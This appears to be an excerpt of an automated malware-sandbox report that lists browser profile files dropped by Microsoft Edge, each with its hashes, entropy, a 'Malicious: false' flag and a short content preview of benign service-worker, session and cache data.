Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.s.v1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.215191845805047
Encrypted:	false
SSDEEP:	6:2YFYB1923oH+TcwtE/a252KLlsOA9+q2P923oH+TcwtE/a2ZIFUv:2fMYeb8xL+OA4v4Yeb8J2FUv
MD5:	E92C216E36490D0060C21CFCE0D4A9DE
SHA1:	CBCEFA0A8463731C5A5E5E107FD4F867FA30A037
SHA-256:	C305FA1602B7D883B9A252F60AC32375C690619933CD4860046F7EA0B53954CD
SHA-512:	0B2336EAA22711576473647D93F83D5382A7CFC81478A4B14E110D98CCD7432CBE2A3FBAFAAC443F1C368369A56FD464FD1D6A43C5794FEE0C6620934EB8B3A0
Malicious:	false
Preview:	2024/10/27-12:54:39.319 1268 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/27-12:54:39.335 1268 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113138
Entropy (8bit):	5.579590185859174
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG4CDHjmIZwi8L/r4L/r9Y:59LyxPXfOxr1lMe1Z6rFoDmThL/ML/G
MD5:	FAF94E8546378839E1D0DAC7EE1E75F6
SHA1:	DC10FF7F762A9E2D9DF37D07896DC457E06E9395
SHA-256:	8D0FA4EEDB4949054FDB4DF1B7241BC5CC6FEA2643849F2742FA66CC7EB90C13
SHA-512:	695BCCF0083562973489D96A141939FBE0A361E6C3494239B6EB069227FA6829129A2996E83E1EF0D1CA7BD3249B068D9D106A57EBDBDB200672B8CB45842F03
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187233
Entropy (8bit):	6.380492996428601
Encrypted:	false
SSDEEP:	3072:ZumBKnPqBatnBwl7R+9PEtNBBFKIvuEwDL/NgnwuBQqL/tCPLNl:ynBwlw9s/m9Dpqw+QqL/cz
MD5:	B680E8863E68352F6BB91D5AC59B6271
SHA1:	C513507F3B566184154B4767732ED28DC8DCA474
SHA-256:	B44CB22D1E3FD4C4D695E0588873C25269A0048B69DF018841C373911E142009
SHA-512:	87D402EEA15D291B14104D38FCBE23E05D542790B8B68703CD8E2B110DA18FD1ACEA21EED37B09F35D650AFBFFA2CB2795B09797BA44E364CE5A4FF883C2D95E
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......Rc.F+.....exports...RcJ.$m....module....Rcv.......define....Rb.._H....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M...H.D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....O...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5QrcXAR0Xl/ld/lxEwltl+Gcl:OrcXAKuQeGU
MD5:	A62F5B4050DF1709F8034DED4DF4B891
SHA1:	F92E064C08046328A537E2DBCBA977700A5128BF
SHA-256:	DB22E8790BE443896716F2DE6617C83B1C018257F25A2C59152C030DE4C6933F
SHA-512:	255E375B701B1383A67CDE38D6352B9B4F9D82DD4C5B5523F8351B279AE11C34BF37C95F1A57BFB5652A87CCE4C07B4316D9070BE8B7DCB667322B09DC11453F
Malicious:	false
Preview:	@....u..oy retne.........................X....,..................}../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5QrcXAR0Xl/ld/lxEwltl+Gcl:OrcXAKuQeGU
MD5:	A62F5B4050DF1709F8034DED4DF4B891
SHA1:	F92E064C08046328A537E2DBCBA977700A5128BF
SHA-256:	DB22E8790BE443896716F2DE6617C83B1C018257F25A2C59152C030DE4C6933F
SHA-512:	255E375B701B1383A67CDE38D6352B9B4F9D82DD4C5B5523F8351B279AE11C34BF37C95F1A57BFB5652A87CCE4C07B4316D9070BE8B7DCB667322B09DC11453F
Malicious:	false
Preview:	@....u..oy retne.........................X....,..................}../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41430.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:5QrcXAR0Xl/ld/lxEwltl+Gcl:OrcXAKuQeGU
MD5:	A62F5B4050DF1709F8034DED4DF4B891
SHA1:	F92E064C08046328A537E2DBCBA977700A5128BF
SHA-256:	DB22E8790BE443896716F2DE6617C83B1C018257F25A2C59152C030DE4C6933F
SHA-512:	255E375B701B1383A67CDE38D6352B9B4F9D82DD4C5B5523F8351B279AE11C34BF37C95F1A57BFB5652A87CCE4C07B4316D9070BE8B7DCB667322B09DC11453F
Malicious:	false
Preview:	@....u..oy retne.........................X....,..................}../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5493
Entropy (8bit):	3.436584473065529
Encrypted:	false
SSDEEP:	96:bBRBB7mAOz5gPf3ZJ49FZp+C8+LiCr4Uok7NJ1V65SLl9iSr5+1CEz:dg95V9Lp+lci2ZDX/65SLl9iSrMUEz
MD5:	0FDE12D4027F4BE49C6595E91D6C3170
SHA1:	5E86B192970A52AE6649B2EADD3792569BABE46E
SHA-256:	0DF8FA58E92DD622DB67AE55AB6BBF15C9B330B0FDCDA2766285995D1E5D15EF
SHA-512:	06F2D3146B088D4E8311FD415989795C363060AE72B9BA94DD53E5AD52215129A743DB6145801419836914EEDE526CD01C1858F19D6D44E782B19609B82FA526
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f............... ...b................next-map-id.1.Cnamespace-c54d9c73_2ffa_49ef_b387_d5000960fed2-https://ntp.msn.com/.0.ca0................map-0-shd_sweeper.'{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.1.s.w.-.c.a.l.c.o.n.f.e.e.d.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.,.x.a.d.s.-.a.d.q.c.b.i.s.-.t.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.s.d.r.k.3.,.s.h.s.t.r.3.c.-.c.,.s.p.-.l.a.y.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.1.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.c.t.r.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.c.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.1.,.p.r.g.-.1.s.w.-.c.-.r.i.v.c.o.v.r.d.h.i.g.h.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.i.f.r.a.m.e.f.l.e.x.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.v.t.r.e.v.e.n.u.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160942728823438
Encrypted:	false
SSDEEP:	6:2Enq2P923oH+TcwtrQMxIFUt8LLZmw+L6kwO923oH+TcwtrQMFLJ:2Env4YebCFUt8LL/+L65LYebtJ
MD5:	4FB87680DCE0F912601C0D36AAD84E22
SHA1:	A49B5B86688319A66C18F3A9263CBD0503AFF058
SHA-256:	F55D31B71245A21C3844606EA90EAB1E43FD8934CD89067FEAF003FED40B3A50
SHA-512:	A2CB7AA7946FA9093B523167F90F1AE362012D846C94CE3BC2F4F65C9A411ADC7687E9AB1E249A0BDD143243EF07EB67DEE679DC3B031FFE696B33B70F292A1B
Malicious:	false
Preview:	2024/10/27-12:54:26.369 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/27-12:54:26.370 1cf4 Recovering log #3.2024/10/27-12:54:26.575 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.160942728823438
Encrypted:	false
SSDEEP:	6:2Enq2P923oH+TcwtrQMxIFUt8LLZmw+L6kwO923oH+TcwtrQMFLJ:2Env4YebCFUt8LL/+L65LYebtJ
MD5:	4FB87680DCE0F912601C0D36AAD84E22
SHA1:	A49B5B86688319A66C18F3A9263CBD0503AFF058
SHA-256:	F55D31B71245A21C3844606EA90EAB1E43FD8934CD89067FEAF003FED40B3A50
SHA-512:	A2CB7AA7946FA9093B523167F90F1AE362012D846C94CE3BC2F4F65C9A411ADC7687E9AB1E249A0BDD143243EF07EB67DEE679DC3B031FFE696B33B70F292A1B
Malicious:	false
Preview:	2024/10/27-12:54:26.369 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/27-12:54:26.370 1cf4 Recovering log #3.2024/10/27-12:54:26.575 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374521668284665

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7787675103258684
Encrypted:	false
SSDEEP:	24:3QNYypZ9syeypsAF4unxctLp3X2amEtG1Chqnxv1U4CvQKkOAM47c:3typZSmzFKLp2FEkChqYmHOp8c
MD5:	FB8B5B56DB073FC77F19D662DF7ABDAC
SHA1:	77580F998777534E0B00E398EBB95200EAB8C344
SHA-256:	E5D1B37B3342CC33915A2A78C657F9A9CDBA3E0EB4A938572E3C245CF86C6161
SHA-512:	4ECD875199CCA0C7338DAE8D160552E3F340F89092EAECD3AEACBD6DE7E38A7C0736A9149938289E80BB14B789ADF1C267EFC2A356EABD4C39E8975A54E6DC21
Malicious:	false
Preview:	SNSS.......1."............1."......."1."............1."........1."........2."........2.".....!..2."................................1.".2.".1..,...2.".$...c54d9c73_2ffa_49ef_b387_d5000960fed2...1."........2."......x.........1."....1."........................1.".....................5..0...1.".&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....1."........1."........................2."............2.".........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......@).4x%..A).4x%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.153658471707241
Encrypted:	false
SSDEEP:	6:2d+q2P923oH+Tcwt7Uh2ghZIFUt8LpZmw+L4NVkwO923oH+Tcwt7Uh2gnLJ:2d+v4YebIhHh2FUt8Lp/+L4NV5LYebIT
MD5:	102AC06015825283BFF028E741CFAEA6
SHA1:	53FB64F5A2D19AA7917EA499D2CEB9E922BFFB29
SHA-256:	33D2CBF133D325213FD0528F6CF2B64EC09828F2A8FED77E4773C6363C39BBFF
SHA-512:	4BC65C84031CB226BF272D9901746C17543BD6C68304FC294C0FC3BA2173F271B8C6568FB640FF54B2119004603FE4F9ED4220BCA5073AE91818F87A22AA7D43
Malicious:	false
Preview:	2024/10/27-12:54:25.887 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/27-12:54:25.887 1f4c Recovering log #3.2024/10/27-12:54:25.888 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.153658471707241
Encrypted:	false
SSDEEP:	6:2d+q2P923oH+Tcwt7Uh2ghZIFUt8LpZmw+L4NVkwO923oH+Tcwt7Uh2gnLJ:2d+v4YebIhHh2FUt8Lp/+L4NV5LYebIT
MD5:	102AC06015825283BFF028E741CFAEA6
SHA1:	53FB64F5A2D19AA7917EA499D2CEB9E922BFFB29
SHA-256:	33D2CBF133D325213FD0528F6CF2B64EC09828F2A8FED77E4773C6363C39BBFF
SHA-512:	4BC65C84031CB226BF272D9901746C17543BD6C68304FC294C0FC3BA2173F271B8C6568FB640FF54B2119004603FE4F9ED4220BCA5073AE91818F87A22AA7D43
Malicious:	false
Preview:	2024/10/27-12:54:25.887 1f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/27-12:54:25.887 1f4c Recovering log #3.2024/10/27-12:54:25.888 1f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.238149149305055
Encrypted:	false
SSDEEP:	12:2jNMv4YebvqBQFUt8Lxk/+Lv55LYebvqBvJ:I24YebvZg8PrLYebvk
MD5:	9EA7F510B7E8D930B08064407EC4DF8D
SHA1:	ABFBDCBEE063596C7754D4ABE5E2ED71EA7F4354
SHA-256:	1181C578A3E89C0A4D8B98141BA3E0E251B3036BB154AD05863ABC99E690098D
SHA-512:	15E96D7ABEE1E2FC62D2C77F469234286273E402CBB496E1E21E013191970B6C498947A695F58DCE3CB4AF88A5B1E0C96D5B051BB6D2839E6F896F32AD91C3B7
Malicious:	false
Preview:	2024/10/27-12:54:26.745 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/27-12:54:26.746 1cf4 Recovering log #3.2024/10/27-12:54:26.749 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.238149149305055
Encrypted:	false
SSDEEP:	12:2jNMv4YebvqBQFUt8Lxk/+Lv55LYebvqBvJ:I24YebvZg8PrLYebvk
MD5:	9EA7F510B7E8D930B08064407EC4DF8D
SHA1:	ABFBDCBEE063596C7754D4ABE5E2ED71EA7F4354
SHA-256:	1181C578A3E89C0A4D8B98141BA3E0E251B3036BB154AD05863ABC99E690098D
SHA-512:	15E96D7ABEE1E2FC62D2C77F469234286273E402CBB496E1E21E013191970B6C498947A695F58DCE3CB4AF88A5B1E0C96D5B051BB6D2839E6F896F32AD91C3B7
Malicious:	false
Preview:	2024/10/27-12:54:26.745 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/27-12:54:26.746 1cf4 Recovering log #3.2024/10/27-12:54:26.749 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0981707a-dd1b-4b8a-a776-36925105b56b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0d0fb22c-106a-42c5-98cc-01c88f166dc7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2e9a87be-768f-4575-9a1e-82df39d1b87f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7b6d5a9d-db74-4ead-8893-be2b9f2594cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqkomn1KKyRY:YHpoeS7PMVKJTnMRKXkh1KF+
MD5:	ABE81C38891A875B52127ACE9C314105
SHA1:	8EDEBDDAD493CF02D3986A664A4AD1C71CCEBB5F
